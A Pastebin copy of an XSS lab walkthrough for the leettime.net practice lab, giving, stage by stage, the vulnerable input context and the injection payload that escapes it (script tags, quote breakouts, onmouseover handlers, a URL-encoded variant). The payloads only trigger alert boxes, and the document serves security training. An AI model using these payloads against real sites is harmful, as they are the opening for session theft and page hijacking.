Advertisement
Guest User

Untitled

a guest
Dec 15th, 2019
136
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. leettime : Lab walkthrough for XSS
  2. January 23, 2019January 23, 2019 h4ck3r 0 Comments getting started with xss, leettime.net, xss, xss attack, xss cheatsheet, xss for begginers, xss payload, xss practice, xss-walkthrough
  3. Lab Link : http://leettime.net/xsslab1/
  4.  
  5.        1.
  6.         <script>alert(document.URL)</script>
  7.  
  8.        2.
  9.  
  10.        <input type="text" name="name" value=hello></input>
  11.  
  12.        <input type="text" name="name" value=
  13.  
  14.        hello ></input> <script>alert(1)</script>
  15.  
  16.        ></input>
  17.  
  18.        Payload: ></input> <script>alert(1)</script>
  19.  
  20.        3.
  21.  
  22.        <input type="text" name="name" value="hello"></input>
  23.  
  24.        Payload: "></input><script>alert(document.URL)</script>
  25.  
  26.       4.
  27.  
  28.       <input type="text" name="name" value='ironman'></input>
  29.  
  30.       Payload: '></input><script>alert(document.URL)</script>
  31.  
  32.       5.
  33.  
  34.       <script>var search_str="kuku";</script>
  35.  
  36.       Payload: ;</script> <script>alert(document.URL)</script>
  37.  
  38.       6.
  39.  
  40.       <script>var search_str='ayush';</script>
  41.  
  42.       Payload: x = ';</script> <script>alert(document.URL)</script>
  43.  
  44.       7.
  45.  
  46.       <input type="text" name="name" value='hello'></input>
  47.  
  48.       Payload: '></input> <script>alert(document.URL)</script>
  49.  
  50.       <input type="text" name="name" value=''</input <scriptalert(document.URL)</script'></input>
  51.  
  52.       Payload: Failed :(
  53.  
  54.       Payload: 'onmouseover='alert(1);
  55.  
  56.       8.
  57.  
  58.       <input type="text" name="name" value='hello'></input>
  59.  
  60.       Payload: '></input><script>alert(document.URL)</script>
  61.  
  62.       <input type="text" name="name" value='></input><script>alert(document.URL)</script>'></input>
  63.  
  64.       Payload: '></input>'onmouseover='alert(1);
  65.  
  66.       <input type="text" name="name" value='></input>onmouseover=alert(1);'></input>
  67.  
  68.       URL: http://leettime.net/xsslab1/stage--08.php?name=hello&submit=search
  69.  
  70.       <input type="submit" name="submit" value="search">
  71.  
  72.       Parameters:
  73.       name=hello
  74.       submit=search
  75.  
  76.       URL: http://leettime.net/xsslab1/stage--08.php?name=hello&submit=search1
  77.  
  78.       <input type="submit" name="submit" value="search1">
  79.  
  80.       Payload: "onmouseover="alert(document.URL);
  81.  
  82.       http://leettime.net/xsslab1/stage--08.php?name=hello&submit=search%22onmouseover=%22alert(document.URL);
  83.  
  84. refer
  85. http://h4ck3r.in/leettime-lab-walkthrough-for-xss-parctsing-xss-for-begineers/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement